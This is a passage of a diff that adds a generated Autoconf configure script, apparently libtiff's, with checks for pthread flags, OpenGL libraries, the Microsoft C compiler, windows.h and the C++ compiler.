+# It gets checked for in the link test anyway.
+
+# First of all, check if the user has set any of the PTHREAD_LIBS,
+# etcetera environment variables, and if threads linking works using
+# them:
+if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then
+        save_CFLAGS="$CFLAGS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+        save_LIBS="$LIBS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        echo "$as_me:$LINENO: checking for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS" >&5
+echo $ECHO_N "checking for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS... $ECHO_C" >&6
+        cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char pthread_join ();
+int
+main ()
+{
+pthread_join ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  acx_pthread_ok=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+        echo "$as_me:$LINENO: result: $acx_pthread_ok" >&5
+echo "${ECHO_T}$acx_pthread_ok" >&6
+        if test x"$acx_pthread_ok" = xno; then
+                PTHREAD_LIBS=""
+                PTHREAD_CFLAGS=""
+        fi
+        LIBS="$save_LIBS"
+        CFLAGS="$save_CFLAGS"
+fi
+
+# We must check for the threads library under a number of different
+# names; the ordering is very important because some systems
+# (e.g. DEC) have both -lpthread and -lpthreads, where one of the
+# libraries is broken (non-POSIX).
+
+# Create a list of thread flags to try.  Items starting with a "-" are
+# C compiler flags, and other items are library names, except for "none"
+# which indicates that we try without any flags at all, and "pthread-config"
+# which is a program returning the flags for the Pth emulation library.
+
+acx_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config"
+
+# The ordering *is* (sometimes) important.  Some notes on the
+# individual items follow:
+
+# pthreads: AIX (must check this before -lpthread)
+# none: in case threads are in libc; should be tried before -Kthread and
+#       other compiler flags to prevent continual compiler warnings
+# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h)
+# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able)
+# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread)
+# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads)
+# -pthreads: Solaris/gcc
+# -mthreads: Mingw32/gcc, Lynx/gcc
+# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it
+#      doesn't hurt to check since this sometimes defines pthreads too;
+#      also defines -D_REENTRANT)
+# pthread: Linux, etcetera
+# --thread-safe: KAI C++
+# pthread-config: use pthread-config program (for GNU Pth library)
+
+case "${host_cpu}-${host_os}" in
+        *solaris*)
+
+        # On Solaris (at least, for some versions), libc contains stubbed
+        # (non-functional) versions of the pthreads routines, so link-based
+        # tests will erroneously succeed.  (We need to link with -pthread or
+        # -lpthread.)  (The stubs are missing pthread_cleanup_push, or rather
+        # a function called by this macro, so we could check for that, but
+        # who knows whether they'll stub that too in a future libc.)  So,
+        # we'll just look for -pthreads and -lpthread first:
+
+        acx_pthread_flags="-pthread -pthreads pthread -mt $acx_pthread_flags"
+        ;;
+esac
+
+if test x"$acx_pthread_ok" = xno; then
+for flag in $acx_pthread_flags; do
+
+        case $flag in
+                none)
+                echo "$as_me:$LINENO: checking whether pthreads work without any flags" >&5
+echo $ECHO_N "checking whether pthreads work without any flags... $ECHO_C" >&6
+                ;;
+
+                -*)
+                echo "$as_me:$LINENO: checking whether pthreads work with $flag" >&5
+echo $ECHO_N "checking whether pthreads work with $flag... $ECHO_C" >&6
+                PTHREAD_CFLAGS="$flag"
+                ;;
+
+		pthread-config)
+		# Extract the first word of "pthread-config", so it can be a program name with args.
+set dummy pthread-config; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_acx_pthread_config+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$acx_pthread_config"; then
+  ac_cv_prog_acx_pthread_config="$acx_pthread_config" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_acx_pthread_config="yes"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_acx_pthread_config" && ac_cv_prog_acx_pthread_config="no"
+fi
+fi
+acx_pthread_config=$ac_cv_prog_acx_pthread_config
+if test -n "$acx_pthread_config"; then
+  echo "$as_me:$LINENO: result: $acx_pthread_config" >&5
+echo "${ECHO_T}$acx_pthread_config" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+		if test x"$acx_pthread_config" = xno; then continue; fi
+		PTHREAD_CFLAGS="`pthread-config --cflags`"
+		PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`"
+		;;
+
+                *)
+                echo "$as_me:$LINENO: checking for the pthreads library -l$flag" >&5
+echo $ECHO_N "checking for the pthreads library -l$flag... $ECHO_C" >&6
+                PTHREAD_LIBS="-l$flag"
+                ;;
+        esac
+
+        save_LIBS="$LIBS"
+        save_CFLAGS="$CFLAGS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+
+        # Check for various functions.  We must include pthread.h,
+        # since some functions may be macros.  (On the Sequent, we
+        # need a special flag -Kthread to make this header compile.)
+        # We check for pthread_join because it is in -lpthread on IRIX
+        # while pthread_create is in libc.  We check for pthread_attr_init
+        # due to DEC craziness with -lpthreads.  We check for
+        # pthread_cleanup_push because it is one of the few pthread
+        # functions on Solaris that doesn't have a non-functional libc stub.
+        # We try pthread_create on general principles.
+        cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <pthread.h>
+int
+main ()
+{
+pthread_t th; pthread_join(th, 0);
+                     pthread_attr_init(0); pthread_cleanup_push(0, 0);
+                     pthread_create(0,0,0,0); pthread_cleanup_pop(0);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  acx_pthread_ok=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+
+        LIBS="$save_LIBS"
+        CFLAGS="$save_CFLAGS"
+
+        echo "$as_me:$LINENO: result: $acx_pthread_ok" >&5
+echo "${ECHO_T}$acx_pthread_ok" >&6
+        if test "x$acx_pthread_ok" = xyes; then
+                break;
+        fi
+
+        PTHREAD_LIBS=""
+        PTHREAD_CFLAGS=""
+done
+fi
+
+# Various other checks:
+if test "x$acx_pthread_ok" = xyes; then
+        save_LIBS="$LIBS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        save_CFLAGS="$CFLAGS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+
+        # Detect AIX lossage: JOINABLE attribute is called UNDETACHED.
+	echo "$as_me:$LINENO: checking for joinable pthread attribute" >&5
+echo $ECHO_N "checking for joinable pthread attribute... $ECHO_C" >&6
+	attr_name=unknown
+	for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do
+	    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <pthread.h>
+int
+main ()
+{
+int attr=$attr;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  attr_name=$attr; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+	done
+        echo "$as_me:$LINENO: result: $attr_name" >&5
+echo "${ECHO_T}$attr_name" >&6
+        if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then
+
+cat >>confdefs.h <<_ACEOF
+#define PTHREAD_CREATE_JOINABLE $attr_name
+_ACEOF
+
+        fi
+
+        echo "$as_me:$LINENO: checking if more special flags are required for pthreads" >&5
+echo $ECHO_N "checking if more special flags are required for pthreads... $ECHO_C" >&6
+        flag=no
+        case "${host_cpu}-${host_os}" in
+            *-aix* | *-freebsd* | *-darwin*) flag="-D_THREAD_SAFE";;
+            *solaris* | *-osf* | *-hpux*) flag="-D_REENTRANT";;
+        esac
+        echo "$as_me:$LINENO: result: ${flag}" >&5
+echo "${ECHO_T}${flag}" >&6
+        if test "x$flag" != xno; then
+            PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS"
+        fi
+
+        LIBS="$save_LIBS"
+        CFLAGS="$save_CFLAGS"
+
+        # More AIX lossage: must compile with cc_r
+        # Extract the first word of "cc_r", so it can be a program name with args.
+set dummy cc_r; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_PTHREAD_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$PTHREAD_CC"; then
+  ac_cv_prog_PTHREAD_CC="$PTHREAD_CC" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_PTHREAD_CC="cc_r"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+  test -z "$ac_cv_prog_PTHREAD_CC" && ac_cv_prog_PTHREAD_CC="${CC}"
+fi
+fi
+PTHREAD_CC=$ac_cv_prog_PTHREAD_CC
+if test -n "$PTHREAD_CC"; then
+  echo "$as_me:$LINENO: result: $PTHREAD_CC" >&5
+echo "${ECHO_T}$PTHREAD_CC" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+else
+        PTHREAD_CC="$CC"
+fi
+
+
+
+
+
+# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND:
+if test x"$acx_pthread_ok" = xyes; then
+
+cat >>confdefs.h <<\_ACEOF
+#define HAVE_PTHREAD 1
+_ACEOF
+
+        :
+else
+        acx_pthread_ok=no
+
+fi
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+
+#
+# There isn't a reliable way to know we should use the Apple OpenGL framework
+# without a configure option.  A Mac OS X user may have installed an
+# alternative GL implementation (e.g., Mesa), which may or may not depend on X.
+#
+
+# Check whether --with-apple-opengl-framework or --without-apple-opengl-framework was given.
+if test "${with_apple_opengl_framework+set}" = set; then
+  withval="$with_apple_opengl_framework"
+
+fi;
+if test "X$with_apple_opengl_framework" = "Xyes"; then
+
+cat >>confdefs.h <<\_ACEOF
+#define HAVE_APPLE_OPENGL_FRAMEWORK 1
+_ACEOF
+
+  GL_LIBS="-framework OpenGL"
+else
+  ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+  echo "$as_me:$LINENO: checking whether we are using the Microsoft C compiler" >&5
+echo $ECHO_N "checking whether we are using the Microsoft C compiler... $ECHO_C" >&6
+if test "${ax_cv_c_compiler_ms+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+#ifndef _MSC_VER
+       choke me
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ax_compiler_ms=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ax_compiler_ms=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+ax_cv_c_compiler_ms=$ax_compiler_ms
+
+fi
+echo "$as_me:$LINENO: result: $ax_cv_c_compiler_ms" >&5
+echo "${ECHO_T}$ax_cv_c_compiler_ms" >&6
+  if test X$ax_compiler_ms = Xno; then
+    GL_CFLAGS="${PTHREAD_CFLAGS}"
+    GL_LIBS="${PTHREAD_LIBS} -lm"
+  fi
+
+  #
+  # Use x_includes and x_libraries if they have been set (presumably by
+  # AC_PATH_X).
+  #
+  if test "X$no_x" != "Xyes"; then
+    if test -n "$x_includes"; then
+      GL_CFLAGS="-I${x_includes} ${GL_CFLAGS}"
+    fi
+    if test -n "$x_libraries"; then
+      GL_LIBS="-L${x_libraries} -lX11 ${GL_LIBS}"
+    fi
+  fi
+
+
+for ac_header in windows.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+  # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_header_compiler=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  ac_header_preproc=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So?  What about this header?
+case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in
+  yes:no: )
+    { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;}
+    ac_header_preproc=yes
+    ;;
+  no:yes:* )
+    { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header:     check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header:     check for missing prerequisite headers?" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5
+echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header:     section \"Present But Cannot Be Compiled\"" >&5
+echo "$as_me: WARNING: $ac_header:     section \"Present But Cannot Be Compiled\"" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+    { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5
+echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;}
+    (
+      cat <<\_ASBOX
+## -------------------------------------- ##
+## Report this to tiff@lists.maptools.org ##
+## -------------------------------------- ##
+_ASBOX
+    ) |
+      sed "s/^/$as_me: WARNING:     /" >&2
+    ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  eval "$as_ac_Header=\$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+  echo "$as_me:$LINENO: checking for OpenGL library" >&5
+echo $ECHO_N "checking for OpenGL library... $ECHO_C" >&6
+if test "${ax_cv_check_gl_libgl+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ax_cv_check_gl_libgl="no"
+  ax_save_CPPFLAGS="${CPPFLAGS}"
+  CPPFLAGS="${GL_CFLAGS} ${CPPFLAGS}"
+  ax_save_LIBS="${LIBS}"
+  LIBS=""
+  ax_check_libs="-lopengl32 -lGL"
+  for ax_lib in ${ax_check_libs}; do
+    if test X$ax_compiler_ms = Xyes; then
+      ax_try_lib=`echo $ax_lib | sed -e 's/^-l//' -e 's/$/.lib/'`
+    else
+      ax_try_lib="${ax_lib}"
+    fi
+    LIBS="${ax_try_lib} ${GL_LIBS} ${ax_save_LIBS}"
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+# if HAVE_WINDOWS_H && defined(_WIN32)
+#   include <windows.h>
+# endif
+# include <GL/gl.h>
+int
+main ()
+{
+glBegin(0)
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ax_cv_check_gl_libgl="${ax_try_lib}"; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+  done
+  LIBS=${ax_save_LIBS}
+  CPPFLAGS=${ax_save_CPPFLAGS}
+fi
+echo "$as_me:$LINENO: result: $ax_cv_check_gl_libgl" >&5
+echo "${ECHO_T}$ax_cv_check_gl_libgl" >&6
+
+  if test "X${ax_cv_check_gl_libgl}" = "Xno"; then
+    no_gl="yes"
+    GL_CFLAGS=""
+    GL_LIBS=""
+  else
+    GL_LIBS="${ax_cv_check_gl_libgl} ${GL_LIBS}"
+  fi
+  ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+fi
+
+
+
+
+
+
+ac_ext=cc
+ac_cpp='$CXXCPP $CPPFLAGS'
+ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+if test -n "$ac_tool_prefix"; then
+  for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC
+  do
+    # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$CXX"; then
+  ac_cv_prog_CXX="$CXX" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_CXX="$ac_tool_prefix$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+CXX=$ac_cv_prog_CXX
+if test -n "$CXX"; then
+  echo "$as_me:$LINENO: result: $CXX" >&5
+echo "${ECHO_T}$CXX" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+    test -n "$CXX" && break
+  done
+fi
+if test -z "$CXX"; then
+  ac_ct_CXX=$CXX
+  for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC
+do
+  # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_CXX"; then
+  ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
